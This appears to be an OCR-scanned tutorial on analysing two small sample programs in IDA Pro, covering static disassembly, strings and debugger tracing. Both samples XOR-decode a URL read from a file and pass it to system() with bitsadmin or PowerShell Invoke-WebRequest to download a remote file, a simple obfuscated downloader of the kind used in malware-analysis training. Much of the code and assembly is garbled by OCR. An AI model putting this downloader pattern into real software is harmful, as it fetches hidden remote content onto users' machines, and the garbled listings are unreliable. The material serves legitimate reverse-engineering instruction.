Ida Pro

1. program3

2. ¢ program

The ¢ program does the exact same thing as program3, except that it is written in c, so it will
look different compiled.



Program 3 thorough explanation:

Here is the source code, for reference purposes.

#include <stdio.h>
#include <iostream>
#include <fstream>
#include <string>
#include <cstdlib>
using namespace std;
int main() {

string m;

char c;

ifstream f("example");
getline (f,m);

chark="s';

f.close();

for (int t = 0; t < m.size(); t++)
mt] *=k;

string o = "bitsadmin.exe /transfer 'JobName' ";
o.append(m);
o.append(" C:/Users/student/Desktop/code.txt");

cout << o;
system(o.c_str());

cin >> ¢;

return 0;



1) Go to entry point.

File Edit|_lump Search View Debugger Options

= J | + b Jump to operand Enter
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Jump to segment... Ctrl+5
Jump to segment register..  Ctrl+G

Jump to problem... Ctrl+C
Jump to cross reference... Ctrl+X
Jump to xref to operand... X

Jump to entry point... Ctri+E

Jump to file offset...

Mark position... Alt+ A
Jump to marked position...  Ctrl+M
Clear mark...

You can change to graph view (the blue sections in the bar at the top) or you can also see the
plain assembly code from top to bottom. You will spend most of the time in IDA-View-A.
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2) Go to the main function by double clicking on the first function that will run. In this case,
double click sub_4011D0. Sub refers to the user defined functions, so there is only one function
in this program. The null function calls are used by the compiler for garbage collection, debug
functions, etc.

public start

start proc near

var_18= dword ptr -18h
var_14= dword ptr -14h
var_18= dword ptr -18h

push ebp

mouv ebp, esp Graph overview n
sub esp, 18h

and esp, BFFFFFFFBh

mou [esp+18h+var_ 18], offset sub_4811Da@
call sub_4814EQ

mou [esp+18h+var_18], @
moy [esp+18h+var_14], 8
mov [esp+18h+var_ 18], @
call nullsub 1

mou [esp+18h+var_18], @
mou [esp+18h+var_14], @
mou [esp+18h+var_18], @
call nullsub_2

mouy [esp+18h+var_18], @
moy [esp+18h+var_14], 8
mov [esp+18h+var_ 18], @
call nullsub 3

mou [esp+18h+var_18], @
mou [esp+18h+var_14], @
mou [esp+18h+var_18], @
call nullsub_4

leave

retn

start endp




push
noy
push
and
sub
call
lea
nov
call
nov
nov
lea
noy
call
lea
nov
lea
noy
call
nov
lea
noy
call
nov

3) Once in main, you can see the allocation for a char pointer, and the string m which we can see
is var_10. The first function call is a generic function by the compiler to declare the string.

The second call is basic ifstream. A quick google search
(http://en.cppreference.com/w/cpp/io/basic _ifstream) tells us this:

1. This is a cpp generated file and now we know the language this was written in.

2. This program is opening a file, since the string “example” was loaded into the
eax, this is the file name.

3. It gets exactly 1 line from the file, then closes it. (the getline function call).

ebp

ebp, esp

ebx

esp, BFFFFFFFBh

esp, 136h ; Char = Graph overview

__main

eax, [esp+134h+var_18]

[esp+134h+var_134], eax

_ZNSsC1Ey

[esp+134h+var_12C], 8

[esp+134h+var_13@], offset aExample ; “example"
eax, [esp+i3uhuar 118] e
[esp+134h+var_134], eax

_ZNSt14basic ifstreamIcSt11char traitsIcEEC1EPKcSt13 Ios Openmode

eax, [esp+13sh+var 18]

[esp+134h+var 13@], eax

eax, [esp+13sh+var 118]

[esp+134h+var 134], eax
_25t7getlinelcSt11char_traitsIcESalcEERSt13basic_istreamIT T8 _ES7 RSbIS4 S5 T1 E
[esp+134h+var_9], 73h

eax, [esp+134h+var_118]

[esp+134h+var_134], eax

_2ZNSt14basic_ifstreamIcSti1char_traitsIcEEScloseEu

I

{

[esp+134h+var 8], @
|

BN

loc 481243:



http://en.cppreference.com/w/cpp/io/basic_ifstream

4) The line gets saved to var 10, a string.

var_12C= dword ptr -12Ch
var_11C= dword ptr -11Ch
var_118= dword ptr -118h
var_18= dword ptr —18h

var_9= byte ptr -9 Graph overview B

var_8= dword ptr -8
var_4= dword ptr -4

push
mou
push
and
sub
call
lea
mou
call
mou
mou
lea
mou
call
lea
mou
lea
mou
call
mou
lea
mou

ebp

ebp, esp ' i
ebx L—T:]
esp, BFFFFFFFBh [ ]
esp, 138h » char =

__main

eax, [esp+134h+var 18]

[esp+134h+var_134], eax

_2H5sC1Ev

[esp+134h+var_12C], 8

[esp+134h+var_138], offset aExample ; “example™
eax, [esp+134h+var_ 118]

[esp+134h+var_134], eax
_ZHSt14basic_ifstreamIcStiichar_traitsIcEECAEPKcSt13_Ios_Openmode

eax, [esp+13dah+var 18]

[esp+134h+var_138], eax

eax, [esp+134h+var_ 118]

[esp+134h+var_134], eax
_Z25t7getlinelcSt11char_traitsIcESalcEERSt13basic_istreamIT_T@ ES7_RShIS4 St
[esp+134h+var_ 9], 73h

eax, [esp+134h+var 118]

[esp+iddh+var 1347, eax

5) After the getline function, the hex value 73h was moved to var_9. 73h is the letter s.

After the file was closed, a variable var_8 (an int) was set to 0. It was compared over and over

(when following the arrows in the graph), we can safely assume this is a while or for loop. (See
the add 1 to var_8).

call
moy
lea
moy
call
moy

_25t7getlinelcStiichar_traitsIcESalcEERSt13basic_istreamIT_THA ES7_RSbIS4 S5 T1 E
[esp+134h+var_9], 73h
eax, [esp+134h+var_118] d
[esp+134h+var 134], eax B oW n
ZHSt14basic_ifstreamIcSt1ichar_traitsIcEEScloseEv I -

[esp+134h+yar 8], 8
[

ihh+ya
ir_134




6) The loop takes the string’s size, compares it with var 8 (look closely at the function call, you
can see it is size). Red arrows mean failure, so it loops again. Green means success.

If you follow the -, you will see var_10, the string, being xor’ed with the letter s, byte by
byte (byte pointer),

Following the blue arrow after that leads back to the loop.

f3h
118 Graph overview n
, 83

2anl

v €

T ] 5 T
L] L] : loc_4B81243:
lea eax, [espriishrvar_ 18]
moy [espr13khrvar 134], eax
call _ZHKSshsizeEu
mou eidx, pax
mou eax, [esp+i1idh+var B8]
cmp pdx, eaw
setnbe al
test al, al
jz short loc_h@1294
o]
Y
EANIL
moy Eax, [esp+idbhevar_H]
mov [esp+134h+var 138], eax| |loc_4B1294;
1ea Eax, [esp+idbh+var_14] 1ea eax, [esp+iZhh]
moy [esp+134h+var_ 134%], eax| |mov [esp+i134h+var_134], eax
call _ZH5sixE] call _ZHSalcECAEw
movzx  edx, byte ptr [eax] lea eax, [esp+i2Ah]
HOF dl, [esp+i2ih+var 9] moy [esp+i134h+var_ 12C], eax
mow [eax], dl moy [esp+i134h+var_138], offset aBitsadnmin_ex
add [esp+13hh+var_ B8], 1 lea eax, [esp+13sh+var_11E]
jmp chort loc_ HB1Z243 moy [esp+134h+var_134], eax
I - call _fH3sCA1EPKCRESalcE
Toa= O LF] MNoacmsed Fiakl




7) -, you can see lots of things happen:

1. A long string (var_11C) containing the command “bitsadmin.exe”
(https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx)
2. The var 10 string was appended to it.
3. Another string with a “location” was appended as well.
setnbe  al
test al, al
jz short loc 481294
*
Yheyar_8]
r_138], eax| |1oc_up1294:
4hewvar_18] | |1ea eax, [esp+12h]
r_134], eax| |mov [esp+134h+var_134], eax
call _ZHSalcEC1Ew
r [eax] lea eax, [esp+12ah]
h+var_9] nov [esp+idbh+var_120], eax
mow [esp+134h+var_13@], offset aBitsadmin_exeT ; “bitsadmin.exe ftransfer ‘JobHame' **
r_8], 1 lea eax, [esp+13sh+var H1C]
1243 nov [esp+id&h+var_134], eax
call _ZHSsCAEPKcRKSalcE
lea eax, [esp+12ah]
mow [esp+i38h+var_134], eax
call _ZH3alcED1Ev
lea eax, [esp+13&h+var_10]
nov [esp+138h+var_138], eax
lea eax, [esp+13sh+var_11C]
nov [esp+138h+var_134], eax
call _ZHssdappendERKSs
nou [espri34h+var_1308], offset aClUsersStudentD ; * C:/Users/student/Desktop/code.bxt”
lea eax, [espridbhruar_11C]
mow [espri3&h+rvar_134], eax
call _ZH3shappendEPKc
lea eax, [esp+i134h+uvar_11C]
mow [esp+i3&h+var_1308], eax

You can see the 2 append functions:

lea
moy
call
lea
moy
moy
lea
moy
call
lea
mowy
call
lea
moy
lea
moy
call
moy
lea
moy
call
lea
Wiy

loc_481294:

eax, [esp+12ah]

[esp+1d4h+var_134], eax

_ZH5alcECAEw

eax, [esp+12ah]

[esp+134h+var_12C], eax

[esp+134h+var_138], offset aBi~—-==f— s mtdtoodade mu-
eax, [esp+134h+var_11C] Graph overview n
[esp+134h+var_134], eax

_2HSsC1EPKcRKSalcE L1
eax, [esp+12ah]
[esp+134h+var_134], eax
_ZH5alcEMEw

eax, [esp+13hh+var_10] T
[esp+134h+var_138], eax r‘w L7
eax, [esp+13hh+var_11C] - : !
[esp+134h+var_134], eax | L]
_Z2HSsbappendERKS S
[esp+134h+var_138], offset aCl
eax, [esp+13hh+var_11C]
[esp+134h+var_134], eax
_ZHss6appendEPKE [:j
eax, [esp+1dhh+var_11C]

Iesn+1dhh+var 1307. pax



https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx

8) The full string was printed (cout). Then it was converted into a pointer of the string:

——

mow
call
lea
moy
call
lea
mo
lea
Mo
call
moy
lea
moy
call
lea
moy
moy
call
lea

L LTI T N P o o A AR L LT P R (L]

[esp+i34h+uar 1347, eax
_ZHSsCAEPKcRKSaIcE

pax, [esp+12ah]

[esp+i3Ah+var_134], eax
_ZHEAlcEMEw

pax, [esp+idih+var_18]
[esp+i3an+var_138], eax

eax, [esp+i3sh+var_11C]
[esp+iZan+uar_134], eax
_ZHsshappendERKSS
[esp+13hh+uvar 1387, offset aClsersStudentD
gax, [esp+izhh+uar 11C]
[esp+idhh+uar_134], eax
_?HsstappendEPHc

eax, [esp+i2hh+var 116]
[esp+134h+var_138], eax
[esp+i134h+var_134], offset _Z5tHcout

(L RS RLS

Graph overview

N[ TR R LR BN LN ICS

L

]

Cod i

_25tlslcStiichar_traitsIcESalcEERSt13basic_ostreanmIT_TO EST _RKShIShE 55 T1 E

eax, [esp+idsh+var_11C]

This string (var_11C)’s pointer was placed into a system call as a parameter,

e

call
mov
lea
mow
call
lea
mow
mow
call
lea
mow
call
mow
call
lea

I§ =

e T
_ZHSchappendERKSS Graph overview
[esp+i2hh+uar 138], offset 2

eax, [esp+idhh+uar 11C]
[esp+idhh+uvar_134], eax
_ZHsseappendEPHe

eax, [esp+i3sh+var_11G]

[esp+1i4h+var_138], eax
[esp+i124h+var_134], offset _ [::]

_25t1sicStiichar_traitsIcESs | |
eax, [esp+i134h+var_11G]

[esp+1i&h+uvar_134], eax
_ZHKSs5c_strEw
[esp+1ibh+var_134], eax

system e

eax, [esp+*123h] el

EXE”

[ELNEE [ILE)




9) After that the program pauses until user input (cin).

The program does nothing with the input, does memory clean up (unwind resume).

mow ebx, @
lea eax, [esp+i3ih+uar_11C]
mow [esp+13uh+uar_134], eax
call ___ZHSSD"EU Graph OVENTEW
lea eax, [esp+i3un+uvar_118]
noy [esp+i3th+uar_134], eax LAk d
call _ZHiSt1abasic_ifstreamIcitiichar_traitsIcEEDIEV
lea gax, [esp+i3ih+uar_18]
mow [esp+13un+uar_134], eax
call ZHEED1EW T
mow eax, ebx [:] L__T_J
jmp short loc_NB13E9 ] ]
i ]
EANIL
loc_401389: e
now ebx, [ebpsvar_i] :
leave
retn
Sub_u@1108 endp

- Graph overview n
BEHL )
loc_4d13R8:
lea eax, [esp+ri2ih]
mow [esp], eax
call ZHEsD1Eu e s T
mou eax, ebx LﬁrJ L“r_J“r
moy [esp], eax [{ ] (1]
call _Unwind_Resumne
I

The program returns, runs the destructor functions, and exits.



Tracing with debugger:

Add a breakpoint right when main runs

dana esp, wrkrrrFFrFBN

suhb esp, 138h ; char =
call __main

1Ea I - e B R SR 1“

mou . Group nodes | E.;.le
call . . '

i f Ed.ltfunctlcrn... Alt+P g

mov == Hide Mum - | offset
lea Text view 118]

o ¥ Undefine |
call ' Sunchroni h } amlc3tt-
1ea _ yrnchronize witl 10]

Tg: .3 Run to cursor 1?;?
mou _ l Add hrealcpomt Bax
call :‘W Add write trace har_tra:
mov |y Add read/write trace 3h

Led |i% Add execution trace }118]
mouv ! . Bax

Go to start process and you will warnings, click yes and ok.

Search  Wiew Debugger Clpti-:uns Windows F

- ﬁ ﬂ ﬁ: General registers L
Segrment registers B
1I:IEI e
e - ‘Q‘ ‘ FPU registers H%
|| I o 3 " rea ; | I
B F ﬁé
E' (11 I>
Attach to prucess r
¢ WiE-dy ﬁ'h Fu i F

Debugger warning

l- 'ou are gaoing to launch the debugger.
% Debugging a program means that its code will be executed on pour system,
Be careful with malicious programs, viruzes and trojanz!

REMARE: if pou zelect 'Mo', the debugger will be automatically dizabled.

Are pou sure you want to continue’?

[ ] Don't display this meszage again



If you step into (F7) you can see the register values and a flow chart view of the code, you can
disable the graph view by pressing spacebar.

80481108 var 134= dword ptr -134h
88461108 var_138= dword ptr -138h
88481108 var_12C= dword ptr —-12Ch
80481108 var_11C= dword ptr -11Ch Graph overview ﬂ
88481108 var_118= dword ptr -118h
00491108 var_18= dword ptr -18h
00481108 var_9= byte ptyr -9
08481108 var_8= dword ptr -8
88481108 var 4= dword ptr -4

884081108 e
88461108 push ebp I
88461101 mow ebp, esp
88481103 push ebhx
88481104 and esp, BFFFFFFFBh
a0u4f11D¥ sub esp, 1368h ; char =
ge48611DD call main
084811E? mov [esp+134h+var_ 134], eax
884811EC call _ZHSsCAEv
804811F1 mov [esp+134h+var 12C], B
BB4B11F? mow [esp+134h+var_138], offset aExample ; “example
100.00%  (-32,108)  (880,43)  00DDD0SD4  0040711D4: sub_4011D0+4
# General eqiste - O @l
Esx| 08808801 1, cFl 8
: : Edit Search
EEx| BB61CCSC L, [Stack[ 08BO1CFC] 1 8061CCSC FFI1
= Thread
EC| BOABOBOA ;:| I rea
Bedsbefedibelds | _ ) oooo1CrC
|EDx 00000008 1 | ZF1 [l noooze0s
ES| 20041647 L, [debugB27 - 20041647 5F 8
EDI |611D3FB2|L, [cygwint .d11:611D3FB2 TF| @
|EBP|0061CC3B| Ly |Stack] 08BB1CFC] : 80610038 IF |1
ESP BB61CBBB L, [Stack[ 96001CFC] svar_134 DF 8
EIP | 884011E2|L, [sub_4811D8+12 OF 8
EFL 80880246




Make sure you press F8 to step over function calls, or else you will go into the functions the

compiler did to add strings together, or open files, etc.

ebx

88401103 push

28401104 and esp, BFFFFFFFBh
88481107 sub esp, 138h
a84811DD main

a84811E?
a84811EC ZNSSC1Ew
a84811F?

88401281 lea
88401285 mov

; char =

[esp+134h+var_134], eax

[esp+134h+var_138], offset aExample ; “example™
eax, [esp+13kh+var_118]
[esp+134h+uar_134], eax

You can add specific variables to the watch list and see how they change as the program runs.
The variable var 8 was the counter for a loop, and you can see it increase by 1 each time.

var 10 was a string that was being xor’ed, you can see it change byte by byte.

var_11C was the string that was being appended, and you can see the values change as well.

L Nahuanar Ontinns WWind s

. # General registers
® Segment registers
 rpy registers
El) Thread list
BE Module list

P Continue process F9
Process options...
. Terminate process  Ctrl+F2

Detach from process
Take memory snapshot

5% step into F7
ED Step over F&
I;D Run until return Ctrl+F7

Breakpoints »

Tracing

Hezln

1
n

i

i |

b | eod Add watch

| o Delete watch

Debugger options...

Del

| e

BNl

ae4e1243

88481243 loc_LB1243:

0481243 lea eax, [esp+134h+var 18]
ap4e124A mov [esp+134h+var 134], eax
apye124D call _ZHKSshsizeEv

ap4 1252 movw edx, eax

ae4 1254 mov eax, [esp+i34h+var_ B8]
a84@1 258 cmp edx, eax

AB4A125D0 setnbhe al

MALRATIELER o E § =1

Stack[ 88080AA0] - BB61CC2C var_8 dd 8



C program

#include <stdio.h>
#include <stdlib.h>
#include <conio.h>

int main(char *argc, char* argv[]){
char buffer[200];
buffer[0] ="\0";

FILE* file = fopen("example", "r");
char line[46];

fgets(line, sizeof(line), file);
line[45]="\0";

chark="s";
fclose(file);
int t;

for (t = 0; t <sizeof(line)-1; t++){
line[t] *=k;

strepy(buffer,"powershell Invoke-WebRequest ");
strcat(buffer,line);

strcat(buffer," -OutFile $pwd\\code.txt");
system(buffer);

printf(buffer);
getch();

return 0;



The first thing you should do is investigate the strings tab:

v File Edit Jurmp Search View Debugger Options Windows Help
| S|~~~ thih i8] 1 [T [z | £ = & x|
EERe|BE Y“wAS /08 BE N | T al

[ Boen||enan® v » N x| - SHKH~ ¢
BRe | ARR|F A4
[ - - I ] | & EEEE—_—

104 Wiew-2, Hes Wi, gﬁ Exports % Imparts M Mames L*T_II Functions " Shings ﬂ Structurez En Enur

i
i

T J Lud Lﬂ

Address Length Type  String

v data: 00, 00000002 C example
vt data00... 000000TE C powerzhell ok e webRequest
w2t data00.. 00000018 C OutFile Fpwdihoode. bt

You can see where strings are used by double clicking:

IDA Mig-b, HexView-s ) Ewpots B Impots M Mames ) Functions - Stings  J} Structwes En Erums  #5 Stack frame  Occurences of: ot

At AT BB C BB § — oo
-.data:-88y1Ccaa80

-data:@641Coeaa8 ; Seqgqment type: Pure data

-data:@8841CAAA ; Segment permissions: Read/Write

.data:-@841CAAA data segment para public 'DATA' use32
-.data:-8841Cca8a assume cs:_data
.data:@aex1Ccaaa sorg 41Cedsh
* .data:@6841CH680 unk_41CA00 db 72h ; r ; DATA XREF: sub_481268+42T0
* _data:@ey1cas db 8
* _data:@ey1cee2 db 5]
* .data:@eiy1Caa3 db ]
* _data:@6841CH604 aExample db ‘example’,8 ; DATA XREF: sub_ 4@12608+47To
* _data:@8841CH8C aPowershelllnvo db 'powershell Invoke-WebRequest ',8
-data:aByicaac ; DATA XREF: sub_481268:1loc 461352T0
* .data:@ey1cezn align 4
* data:@eyce?c adutfilePwdCode db ' -0utFile $pwd\cude.txt',ﬂ ; DATA XREF: 5uh_hﬂ126ﬂ+119Tu
* _data:@euaicoss duvord_41CH4Y4 dd 44BF19B1h ; DATA XREF: sub_4@1462+E3Tr

-data:@ey1couy

* _data:@e4i1Co4s dword W1COLE dd BBBL4BEGLER
-data:Bo41CBLe

* _data:8841C84C db BFFh

* _data:AAMICALD dh AFFh

sub 401BOD+29Tw ...
DATA XREF: sub 401268+9Tr
sub_401462+D3Tr ...



Double clicking sub_401260 will take you to the function where the strings are being used.

You can also see sub_401260 being called when you “jump to entry point”.

Between hModules because it is using a Windows system call to call a powershell.

loc_4B817DB:
push edi
moy edi, eax
mou esi, eax

push eax

mow esi, eax
push 8

call sub_ 482879
call sub_ 4852487

call sub_485281
call sub_484D6D
push dword ptr [edi]

push dword ptr [esi]
call sub 481260

call sub_ 482115

; hiModule

; hiModule

It is the same as program3, in this case, the counter for the loop is var_104.

call  sub_482DD9

add esp, 4
mou [ebp+uar_184], @
jmp short loc 481329
EAN Ll
loc_481329:
cmp [ebp+var_184], 2Dh
jnb short loc 481352
e
¥ Graph overview
ERN Ll BN
mousx ec®, [ebp+uvar FD]
moy edx, [ebp+var_1684] loc_4@1:
mousx eax, byte ptr [ebp+edx+var_34]| (push
xor edx, BCH lea
mou ec¥, [ebp+uar_184] push
moy byte ptr [ebp+ecx+var_34], al call : e S
jmp short loc_ 48131A add [
[ lea
nush

000OOVOE  O040130E: sub_401260+AE

L

irshell 1



